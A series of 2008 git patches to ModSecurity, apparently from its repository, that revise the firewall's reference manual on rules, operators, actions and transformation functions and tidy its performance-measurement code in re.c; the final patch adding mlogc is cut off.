b/doc/modsecurity2-apache-reference.xml index 289c3c72..068292dc 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -1,10 +1,12 @@ +
<trademark class="registered">ModSecurity</trademark> Reference Manual - Version 2.6.0-trunk (August 15, 2008) + Version 2.6.0-trunk (August 27, 2008) 2004-2008 @@ -648,8 +650,11 @@ SecAuditLogStorageDir logs/audit
<literal>SecAuditLogParts</literal> - Description: Defines the path to the main - audit log file. + Description: Defines which part of each + transaction are going to be recorded in audit log. Each part is assigned + a single letter. If a letter appears in the list then the equivalent + part of each transactions will be recorded. See below for the list of + all parts. Syntax: SecAuditLogParts PARTS @@ -1192,21 +1197,31 @@ SecAuditLogStorageDir logs/audit Version: 2.0.0 Dependencies/Notes: Rules following a - SecDefaultAction directive will inherit this setting unless a specific - action is specified for an individual rule or until another - SecDefaultAction is specified. Take special note that in the logging - disruptive actions are not allowed, but this can inadvertently be - inherited using a disruptive action in SecDefaultAction. + SecDefaultAction directive will inherit this setting + unless a specific action is specified for an individual rule or until + another SecDefaultAction is specified. Take special + note that in the logging disruptive actions are not allowed, but this + can inadvertently be inherited using a disruptive action in + SecDefaultAction. The default value is minimal (differing from previous versions): SecDefaultAction phase:2,log,auditlog,pass - Note + + SecDefaultAction must specify a disruptive + action and a processing phase and cannot contain metadata + actions. + - SecDefaultAction must specify a disruptive action and a processing - phase and cannot contain metadata actions. + + SecDefaultAction is not + inherited across configuration contexts. (For an example of why this + may be a problem for you, read the following ModSecurity Blog entry + http://blog.modsecurity.org/2008/07/modsecurity-tri.html). +
@@ -1287,7 +1302,7 @@ SecAuditLogStorageDir logs/audit action. Syntax: SecMarker - id + ID Example Usage: SecMarker 9999 @@ -1309,7 +1324,8 @@ SecRule &REQUEST_HEADERS:Host "@eq 0" \ "deny,log,status:400,id:08,severity:4,msg:'Missing a Host Header'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ "log,deny,log,status:400,id:15,msg:'Request Missing an Accept Header'" -SecMarker 99 + +SecMarker 99
@@ -1793,22 +1809,85 @@ SecResponseBodyLimit 524288
+
+ Collections + + A variable can contain one or many pieces of data, depending on + the nature of the variable and the way it is used. We've seen examples + of both approaches in the previous section. When a variable can + contain more than one value we refer to it as a + collection. + + Collections are always expanded before a rule is run. For + example, the following rule: + + SecRule ARGS dirty + + will be expanded to: + + SecRule ARGS:p dirty +SecRule ARGS:q dirty + + in a requests that has only two parameters, named + p and q. + + Collections come in several flavours: + + + + Read-only + + + Created at runtime using transaction data. For example: + ARGS (contains a list of all request + parameter values) and REQUEST_HEADERS + (contains a list of all request header values). + + + + + Transient Read/Write + + + The TX collection is created (empty) + for every transaction. Rules can read from it and write to it + (using the setvar action, for example), but + the information stored in this collection will not survive the + end of transaction. + + + + + Persistent Read/Write + + + There are several collections that can be written to, but + which are persisted to the storage backend. These collections + are used to track clients across transactions. Examples of + collections that fall into this type are IP, + SESSION and USER. + + + +
+
Operators in rules In the simplest possible case you will use a regular expression pattern as the second rule parameter. This is what we've done in the examples above. If you do this ModSecurity assumes you want to use the - rx operator. You can explicitly - specify the operator you want to use by using @ as the first character in the second rule + rx (regular expression) operator. + You can also explicitly specify the operator you want to use by using + @, followed by the name of an + operator, at the beginning of the second SecRule parameter: SecRule ARGS "@rx dirty" Note how we had to use double quotes to delimit the second rule - parameter. This is because the second parameter now has a whitespace - in it. Any number of whitespace characters can follow the name of the + parameter. This is because the second parameter now has whitespace in + it. Any number of whitespace characters can follow the name of the operator. If there are any non-whitespace characters there, they will all be treated as a special parameter to the operator. In the case of the regular expression operator the special parameter is the pattern @@ -1820,6 +1899,40 @@ SecResponseBodyLimit 524288 SecRule &ARGS "!@rx ^0$"
+
+ Operator negation + + Operator results can be negated by using an exclamation mark at + the beginning of the second parameter. The following rule matches if + the word dirty does not appear + in the User-Agent request header: + + SecRule REQUEST_HEADERS:User-Agent !dirty + + You can use the exclamation mark in combination with any + parameter. If you do, the exclamation mark needs to go first, followed + by the explicit operator reference. The following rule has the same + effect as the previous example: + + SecRule REQUEST_HEADERS:User-Agent "!@rx dirty" + + If you need to use negation in a rule that is going to be + applied to several variables then it may not be immediately clear what + will happen. Consider the following example: + + SecRule ARGS:p|ARGS:q !dirty + + The above rule is identical to: + + SecRule ARGS:p !dirty +SecRule ARGS:q !dirty + + + Negation is applied to operations against individual + operations, not agains the entire variable list. + +
+
Actions in rules @@ -1897,6 +2010,18 @@ ServerAlias www.app2.com Off - do not inherit rules from the parent context. + + + Configuration contexts are an Apache concept. Directives + <Directory>, + <Files>, + <Location> and + <VirtualHost> are all used to create + configuration contexts. For more information please go to the + Apache documentation section Configuration + Sections. +
@@ -3240,7 +3365,7 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">RESPONSE_PROTOCOL</literal> - This variable holds the HTTP Response Protocol information. + This variable holds the HTTP response protocol information. Example: SecRule RESPONSE_PROTOCOL "^HTTP\/0\.9" @@ -3249,7 +3374,7 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
<literal moreinfo="none">RESPONSE_STATUS</literal> - This variable holds the HTTP Response Status Code generated by + This variable holds the HTTP response status code as generated by Apache. Example: SecRule RESPONSE_STATUS "^[45]" @@ -3581,10 +3706,10 @@ SecRule REQUEST_HEADERS:Transfer-Encoding "!^$"
<literal moreinfo="none">XML</literal> - Can be used standalone (as a target for validateDTD and - validateSchema) or with an XPath expression parameter (which makes it a - valid target for any function that accepts plain text). Example using - XPath: + Can be used standalone (as a target for + validateDTD and validateSchema) or + with an XPath expression parameter (which makes it a valid target for + any function that accepts plain text). Example using XPath: SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ @@ -3713,8 +3838,8 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <literal>compressWhitespace</literal> It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to - spaces (ASCII 32) and then compresses multiple space characters into - only one. + spaces (ASCII 32) and then compresses multiple consecutive space + characters into one.
@@ -3797,45 +3922,52 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ moreinfo="none">&gt; + + This function will convert any entity into a single byte only, + possibly resulting in a loss of information. It is thus useful to + uncover bytes that would otherwise not need to be encoded, but it cannot + do anything with the characters from the range above 255.
<literal>jsDecode</literal> - Decodes JavaScript escape sequences. If a \uHHHH code is in the - range of FF01-FF5E (the full width ASCII codes), then the higher byte is - used to detect and adjust the lower byte. Otherwise, only the lower byte - will be used and the higher byte zeroed. + Decodes JavaScript escape sequences. If a + \uHHHH code is in the range of + FF01-FF5E (the full width ASCII + codes), then the higher byte is used to detect and adjust the lower + byte. Otherwise, only the lower byte will be used and the higher byte + zeroed.
<literal>length</literal> This function converts the input to its numeric length (count of - characters). + bytes).
<literal>lowercase</literal> - This function is enabled by default. It converts all characters to - lowercase using the current C locale. + This function converts all characters to lowercase using the + current C locale.
<literal>md5</literal> This function calculates an MD5 hash from input. Note that the - computed hash is in a raw binary form and may need encoded to be usable - (EX: t:md5,t:hexEncode). + computed hash is in a raw binary form and may need encoded into text to + be usable (for example: t:md5,t:hexEncode).
<literal><literal>none</literal></literal> - This not an actual transformation function but an instruction to + Not an actual transformation function, but an instruction to ModSecurity to remove all transformation functions associated with the - current rule and start from scratch. + current rule.
@@ -3843,35 +3975,35 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ This function will remove multiple slashes, self-references and directory back-references (except when they are at the beginning of the - path). + input).
<literal>normalisePathWin</literal> - Same as normalisePath, but will first convert backslash characters - to forward slashes. + Same as normalisePath, but will first convert + backslash characters to forward slashes.
<literal>parityEven7bit</literal> - This function calculates even parity of 7-bit data replacing - the 8th bit of each target byte with the calculated parity bit. + This function calculates even parity of 7-bit data replacing the + 8th bit of each target byte with the calculated parity bit.
<literal>parityOdd7bit</literal> - This function calculates odd parity of 7-bit data replacing - the 8th bit of each target byte with the calculated parity bit. + This function calculates odd parity of 7-bit data replacing the + 8th bit of each target byte with the calculated parity bit.
<literal>parityZero7bit</literal> - This function calculates zero parity of 7-bit data replacing - the 8th bit of each target byte with a zero parity bit which allows + This function calculates zero parity of 7-bit data replacing the + 8th bit of each target byte with a zero parity bit which allows inspection of even/odd parity 7bit data as ASCII7 data.
@@ -3884,7 +4016,7 @@ SecRule XML:/xq:employees/employee/name/text() Fred \
<literal>removeWhitespace</literal> - This function removes all whitespace characters. + This function removes all whitespace characters from input.
@@ -3921,12 +4053,13 @@ SecRule XML:/xq:employees/employee/name/text() Fred \
<literal>urlDecodeUni</literal> - In addition to decoding %xx like In addition to decoding %xx like urlDecode, urlDecodeUni also decodes %uXXXX encoding. If the code is in the range - of FF01-FF5E (the full width ASCII codes), then the higher byte is used - to detect and adjust the lower byte. Otherwise, only the lower byte will - be used and the higher byte zeroed. + of FF01-FF5E (the full width ASCII + codes), then the higher byte is used to detect and adjust the lower + byte. Otherwise, only the lower byte will be used and the higher byte + zeroed.
@@ -3940,7 +4073,7 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ This function calculates a SHA1 hash from input. Note that the computed hash is in a raw binary form and may need encoded to be usable - (EX: t:sha1,t:hexEncode). + (for example: t:sha1,t:hexEncode).
@@ -3970,37 +4103,64 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ Each action belongs to one of five groups: - - - Disruptive actions - are those actions - where ModSecurity will intercept the data. They can only appear in the - first rule in a chain. - + + + Disruptive actions - - Non-disruptive actions - can appear - anywhere. - + + Cause ModSecurity to do something. In many cases something + means block transaction, but not in all. For example, the allow + action is classified as a disruptive action, but it does the + opposite of blocking. There can only be one disruptive action per + rule (if there are multiple disruptive actions present, or + inherited, only the last one will take effect), or rule chain (in a + chain, a disruptive action can only appear in the first + rule). + + - - Flow actions - can appear only in the first - rule in a chain. - + + Non-disruptive actions - - Meta-data actions(id, - rev, severity, msg) - can only appear in the first rule in - a chain. - + + Do something, but that something does not and cannot affect + the rule processing flow. Setting a variable, or changing its value + is an example of a non-disruptive action. Non-disruptive action can + appear in any rule, including each rule belonging to a chain. + + - - Data actions - can appear anywhere; these - actions are completely passive and only serve to carry data used by - other actions. - - + + Flow actions + + + These actions affect the rule flow (for example + skip or skipAfter). + + + + + Meta-data actions + + + Meta-data actions are used to provide more information about + rules. Examples include id, + rev, severity and + msg. + + + + + Data actions + + + Not really actions, these are mere containers that hold data + used by other actions. For example, the status + action holds the status that will be used for blocking (if it takes + place). + + +
<literal>allow</literal> @@ -4071,7 +4231,7 @@ SecAction phase:3,allow response before you make changes to it (e.g. you don't want to inject stuff into images). - Action Group: Non-Disruptive + Action Group: Non-disruptive Processing Phases: 3 and 4. @@ -4086,7 +4246,7 @@ SecAction phase:3,allow Description: Marks the transaction for logging in the audit log. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4160,7 +4320,7 @@ SecRuleUpdateActionById 1 "block" collection. Up to ten captures will be copied on a successful pattern match, each with a name consisting of a digit from 0 to 9. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4194,16 +4354,16 @@ SecRule TX:1 "(?:(?:a(dmin|nonymous)))" SecRule REQUEST_METHOD ^POST$ chain,t:none SecRule REQUEST_HEADER:Content-Length ^$ t:none - Note - - In programming language concepts, think of chained rules somewhat - similar to AND conditional statements. The actions specified in the - first portion of the chained rule will only be triggered if all of the - variable checks return positive hits. If one aspect of the chained rule - is negative, then the entire rule chain is negative. Also note that - disruptive actions, execution phases, metadata actions (id, rev, msg), - skip and skipAfter actions can only be specified on by the chain starter - rule. + + In programming language concepts, think of chained rules + somewhat similar to AND conditional statements. The actions specified + in the first portion of the chained rule will only be triggered if all + of the variable checks return positive hits. If one aspect of the + chained rule is negative, then the entire rule chain is negative. Also + note that disruptive actions, execution phases, metadata actions (id, + rev, msg), skip and skipAfter actions can only be specified on by the + chain starter rule. +
@@ -4212,7 +4372,7 @@ SecRule REQUEST_HEADER:Content-Length ^$ t:none Description: The ctl action allows configuration options to be updated for the transaction. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4364,7 +4524,7 @@ SecRule IP:AUTH_ATTEMPT "@gt 25" \ SecRuleScript documentation for more details on how to write Lua scripts. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4378,17 +4538,15 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ SecRule ARGS:p attack log,exec:/usr/local/apache/conf/exec.lua - This directive does not effect a primary action if it exists. - This action will always call script with no parameters, but providing - all information in the environment. All the usual CGI environment - variables will be there. You can have one binary executed per filter - match. Execution will add the header mod_security-executed to the list - of request headers. You should be aware that forking a threaded - process results in all threads being replicated in the new process. - Forking can therefore incur larger overhead in multi-threaded - operation. The script you execute must write something (anything) to - stdout. If it doesn't ModSecurity will assume execution didn't - work. + The exec action is executed independently from any disruptive + actions. External scripts will always be called with no parameters. + Some transaction information will be placed in environment variables. + All the usual CGI environment variables will be there. You should be + aware that forking a threaded process results in all threads being + replicated in the new process. Forking can therefore incur larger + overhead in multi-threaded operation. The script you execute must + write something (anything) to stdout. If it doesn't ModSecurity will + assume execution didn't work.
@@ -4398,7 +4556,7 @@ SecRule ARGS:p attack log,exec:/usr/local/apache/conf/exec.luaDescription: Configures a collection variable to expire after the given time in seconds. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4425,7 +4583,7 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600Description: Assigns a unique ID to the rule or chain. - Action Group: Metadata + Action Group: Meta-data Example: @@ -4491,7 +4649,7 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600 - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: The following example initiates IP address tracking. @@ -4514,7 +4672,7 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600Description: Indicates that a successful match of the rule needs to be logged. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4529,10 +4687,10 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600 <literal>logdata</literal> - Description: Allows logging a data - fragment. + Description: Allows a data fragment to be + logged as part of the alert message. - Action Group: Metadata + Action Group: Non-disruptive Example: @@ -4553,7 +4711,7 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600Description: Assigns a custom message to the rule or chain. - Action Group: Metadata + Action Group: Meta-data Example: @@ -4573,7 +4731,7 @@ setvar:session.suspicious=1,expirevar:session.suspicious=3600 - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4595,7 +4753,7 @@ SecRule ARGS "attack" multiMatch match of the rule should not be used as criteria whether the transaction should be logged to the audit log. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4618,7 +4776,7 @@ SecRule ARGS "attack" multiMatch Description: Prevents rule matches from appearing in both the error and audit logs. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4665,7 +4823,7 @@ SecRule ARGS "attack" multiMatch Description: Pauses transaction processing for the specified number of milliseconds. - Action Group: Disruptive + Action Group: Non-disruptive Example: @@ -4686,7 +4844,7 @@ SecRule ARGS "attack" multiMatch Description: Places the rule (or the rule chain) into one of five available processing phases. - Action Group: Disruptive + Action Group: Meta-data Example: @@ -4712,7 +4870,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 response before you make changes to it (e.g. you don't want to inject stuff into images). - Action Group: Non-Disruptive + Action Group: Non-disruptive Processing Phases: 3 and 4. @@ -4765,7 +4923,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 Description: Specifies rule revision. - Action Group: Metadata + Action Group: Meta-data Example: @@ -4786,7 +4944,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 with an asterisk) a named request argument prior to audit logging. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4808,7 +4966,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 argument, request header, or response header) that caused a rule match. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: This action can be used to sanitise arbitrary transaction elements when they match a condition. For example, the example below @@ -4828,7 +4986,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 Description: Sanitises a named request header. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: This will sanitise the data in the Authorization header. @@ -4846,7 +5004,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 Description: Sanitises a named response header. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: This will sanitise the Set-Cookie data sent to the client. @@ -4864,7 +5022,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 Description: Assigns severity to the rule it is placed with. - Action Group: Metadata + Action Group: Meta-data Example: @@ -4923,7 +5081,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 initialises the USER collection. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4943,7 +5101,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 initialises the SESSION collection. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -4970,7 +5128,7 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}Description: Creates, removes, or updates an environment variable. - Action Group: Non-Disruptive + Action Group: Non-disruptive Examples: @@ -4995,7 +5153,7 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}Description: Creates, removes, or updates a variable in the specified collection. - Action Group: Non-Disruptive + Action Group: Non-disruptive Examples: @@ -5020,7 +5178,7 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}Description: Skips one or more rules (or chains) on successful match. - Action Group: Non-Disruptive + Action Group: Flow Example: @@ -5048,9 +5206,9 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ Description: Skips rules (or chains) on successful match resuming rule execution after the specified rule id or - marker (see SecMarker) is found. + marker (see SecMarker) is found. - Action Group: Non-Disruptive + Action Group: Flow Example: @@ -5064,11 +5222,12 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ Note - SkipAfter only applies to the current processing phase and not - necessarily the order in which the rules appear in the configuration - file. If you group rules by processing phases, then skip should work as - expected. This action can not be used to skip rules within one chain. - Accepts a single parameter denoting the last rule ID to skip. + SkipAfter only applies to the current + processing phase and not necessarily the order in which the rules appear + in the configuration file. If you group rules by processing phases, then + skip should work as expected. This action can not be used to skip rules + within one chain. Accepts a single parameter denoting the last rule ID + to skip.
@@ -5078,7 +5237,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ code to use with actions deny and redirect. - Action Group: Disruptive + Action Group: Data Example: @@ -5102,7 +5261,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ before they (or the results, rather) are run against the operator specified in the rule. - Action Group: Non-Disruptive + Action Group: Non-disruptive Example: @@ -5124,7 +5283,7 @@ SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \ Description: Assigns custom text to a rule or chain. - Action Group: Metadata + Action Group: Meta-data Example: @@ -5146,12 +5305,13 @@ tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2',severity:'2'"Description: This action should be used together with an XPath expression to register a namespace. - Action Group: Non-Disruptive + Action Group: Data Example: SecRule REQUEST_HEADERS:Content-Type "text/xml" \ - phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On,xmlns:xsd="http://www.w3.org/2001/XMLSchema" + "phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On, \ + xmlns:xsd="http://www.w3.org/2001/XMLSchema" SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,deny
@@ -5160,8 +5320,8 @@ SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,denyOperators A number of operators can be used in rules, as documented below. The - operator syntax used the "@" symbol followed by the specific operator - name. + operator syntax uses the @ symbol followed by the + specific operator name.
<literal>beginsWith</literal> @@ -5169,7 +5329,7 @@ SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,denyDescription: This operator is a string comparison and returns true if the parameter value is found at the beginning of the input. Macro expansion is performed so you may use - variable names such as %{TX.1}, etc. + variable names such as %{TX.1}, etc. Example: @@ -5482,8 +5642,8 @@ SecRule REQUEST_HEADERS:Ip-Address "!@streq %{TX.1}" <literal>validateDTD</literal> - Description: This operator requires the - request body to be processed as XML. + Description: Validates the DOM tree generated + by the XML request body processor against the supplied DTD. Example: @@ -5492,13 +5652,19 @@ SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateDTD /path/to/apache2/conf/xml.dtd" "deny,id:12345" + + + This operator requires request body to be processed as + XML. +
<literal>validateSchema</literal> - Description: This operator requires the - request body to be processed as XML. + Description: Validates the DOM tree generated + by the XML request body processor against the supplied XML + Schema. Example: @@ -5508,7 +5674,10 @@ SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd" "deny,id:12345" - This operator requires request body to be processed as XML. + + This operator requires request body to be processed as + XML. +
From 9997cee04aaf6020fb319a18c331af052ada6b86 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 27 Aug 2008 14:46:31 +0000 Subject: [PATCH 080/110] Clarified that SecMarker IDs are the same thing as rule IDs. --- doc/modsecurity2-apache-reference.xml | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 068292dc..2c242802 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -1298,8 +1298,9 @@ SecAuditLogStorageDir logs/audit <literal>SecMarker</literal> Description: Adds a fixed rule marker in the - ruleset to be used as a target in a skipAfter - action. + ruleset to be used as a target in a skipAfter action. + A SecMarker directive essentially creates a rule that + does nothing and whose only purpose it to carry the given ID. Syntax: SecMarker ID @@ -5205,7 +5206,7 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ <literal>skipAfter</literal> Description: Skips rules (or chains) on - successful match resuming rule execution after the specified rule id or + successful match resuming rule execution after the specified rule ID or marker (see SecMarker) is found. Action Group: Flow From acec75be4545ceaf29373046672f66c54bff99d9 Mon Sep 17 00:00:00 2001 From: ivanr Date: Fri, 29 Aug 2008 16:09:59 +0000 Subject: [PATCH 081/110] Make PERFORMANCE_MEASUREMENT more accurate by removing stray msr_log() invocation. Clean the code a bit. --- apache2/re.c | 76 +++++++++++++++++++++++++++++----------------------- 1 file changed, 42 insertions(+), 34 deletions(-) diff --git a/apache2/re.c b/apache2/re.c index eb8cadf2..b103a81f 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -797,7 +797,7 @@ apr_status_t msre_ruleset_process_phase(msre_ruleset *ruleset, modsec_rec *msr) rc = msre_ruleset_process_phase_(ruleset, msr); } - msr_log(msr, 1, "Phase %d: %" APR_TIME_T_FMT " usec", msr->phase, ((apr_time_now() - time1) / 10000)); + msr_log(msr, 1, "Phase %d: %" APR_TIME_T_FMT " usec (inaccurate)", msr->phase, ((apr_time_now() - time1) / 10000)); rules = (msre_rule **)arr->elts; for (i = 0; i < arr->nelts; i++) { @@ -1704,24 +1704,28 @@ static int execute_operator(msre_var *var, msre_rule *rule, modsec_rec *msr, var->value_len)); } - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) + time_before_op = apr_time_now(); + #else + if (msr->txcfg->debuglog_level >= 4) { time_before_op = apr_time_now(); - + } + #endif + rc = rule->op_metadata->execute(msr, rule, var, &my_error_msg); - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) { + /* Record performance but do not log anything. */ apr_time_t t1 = apr_time_now(); - #if defined(PERFORMANCE_MEASUREMENT) rule->op_time += (t1 - time_before_op); - #endif - msr_log(msr, 4, "Operator completed in %" APR_TIME_T_FMT " usec.", - (t1 - time_before_op)); } + #else + if (msr->txcfg->debuglog_level >= 4) { + apr_time_t t1 = apr_time_now(); + msr_log(msr, 4, "Operator completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_op)); + } + #endif if (rc < 0) { msr_log(msr, 4, "Operator error: %s", my_error_msg); @@ -1963,11 +1967,13 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { } } - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) + time_before_trans = apr_time_now(); + #else + if (msr->txcfg->debuglog_level >= 4) { time_before_trans = apr_time_now(); - + } + #endif /* Transform target. */ { @@ -2054,25 +2060,26 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { log_escape_nq_ex(mptmp, var->value, var->value_len), crec->hits); } - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) { apr_time_t t1 = apr_time_now(); - - #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); - #endif + } + #else + if (msr->txcfg->debuglog_level >= 4) { + apr_time_t t1 = apr_time_now(); msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } + #endif rc = execute_operator(var, rule, msr, acting_actionset, mptmp); if (rc < 0) { return -1; } + if (rc == RULE_MATCH) { match_count++; @@ -2084,6 +2091,7 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { return RULE_MATCH; } } + continue; /* next target */ } @@ -2135,19 +2143,19 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { if (multi_match && (k == 0 || tfnchanged)) { invocations++; - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) { apr_time_t t1 = apr_time_now(); - - #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); - #endif + } + #else + if (msr->txcfg->debuglog_level >= 4) { + apr_time_t t1 = apr_time_now(); msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } + #endif rc = execute_operator(var, rule, msr, acting_actionset, mptmp); @@ -2269,19 +2277,19 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { if (!multi_match || changed) { invocations++; - #if !defined(PERFORMANCE_MEASUREMENT) - if (msr->txcfg->debuglog_level >= 4) - #endif + #if defined(PERFORMANCE_MEASUREMENT) { apr_time_t t1 = apr_time_now(); - - #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); - #endif + } + #else + if (msr->txcfg->debuglog_level >= 4) { + apr_time_t t1 = apr_time_now(); msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } + #endif rc = execute_operator(var, rule, msr, acting_actionset, mptmp); From 2818e66a950cae2004198dfa874f99ed79e8fad6 Mon Sep 17 00:00:00 2001 From: ivanr Date: Mon, 1 Sep 2008 09:38:30 +0000 Subject: [PATCH 082/110] Tidy up the code for the performance-measurement mode. Remove the per-phase measurements, which don't seem to work (at least not in my case). --- apache2/re.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/apache2/re.c b/apache2/re.c index b103a81f..dd0f1a9d 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -755,13 +755,15 @@ void msre_engine_destroy(msre_engine *engine) { * transaction phase. */ #if defined(PERFORMANCE_MEASUREMENT) + +#define PERFORMANCE_MEASUREMENT_LOOP 1000 + static apr_status_t msre_ruleset_process_phase_(msre_ruleset *ruleset, modsec_rec *msr); apr_status_t msre_ruleset_process_phase(msre_ruleset *ruleset, modsec_rec *msr) { apr_array_header_t *arr = NULL; msre_rule **rules = NULL; apr_status_t rc; - apr_time_t time1; int i; switch (msr->phase) { @@ -791,22 +793,24 @@ apr_status_t msre_ruleset_process_phase(msre_ruleset *ruleset, modsec_rec *msr) rule->execution_time = 0; } - time1 = apr_time_now(); - - for (i = 0; i < 10000; i++) { + for (i = 0; i < PERFORMANCE_MEASUREMENT_LOOP; i++) { rc = msre_ruleset_process_phase_(ruleset, msr); } - msr_log(msr, 1, "Phase %d: %" APR_TIME_T_FMT " usec (inaccurate)", msr->phase, ((apr_time_now() - time1) / 10000)); + msr_log(msr, 1, "Phase %d", msr->phase); rules = (msre_rule **)arr->elts; for (i = 0; i < arr->nelts; i++) { msre_rule *rule = rules[i]; + + /* Ignore markers, which are never processed. */ + if (rule->placeholder == RULE_PH_MARKER) continue; + msr_log(msr, 1, "Rule %pp [id \"%s\"][file \"%s\"][line \"%d\"]: %u usec", rule, ((rule->actionset != NULL)&&(rule->actionset->id != NULL)) ? rule->actionset->id : "-", rule->filename != NULL ? rule->filename : "-", rule->line_num, - (rule->execution_time / 10000)); + (rule->execution_time / PERFORMANCE_MEASUREMENT_LOOP)); } return rc; From 20cc395510b14f1e61462142135beeaeedf6ce71 Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 2 Sep 2008 23:10:36 +0000 Subject: [PATCH 083/110] Added mlogc source. --- CHANGES | 4 +- apache2/Makefile.in | 17 +- apache2/Makefile.win | 3 +- apache2/configure | 4 + apache2/configure.in | 1 + apache2/mlogc-src/INSTALL | 76 + 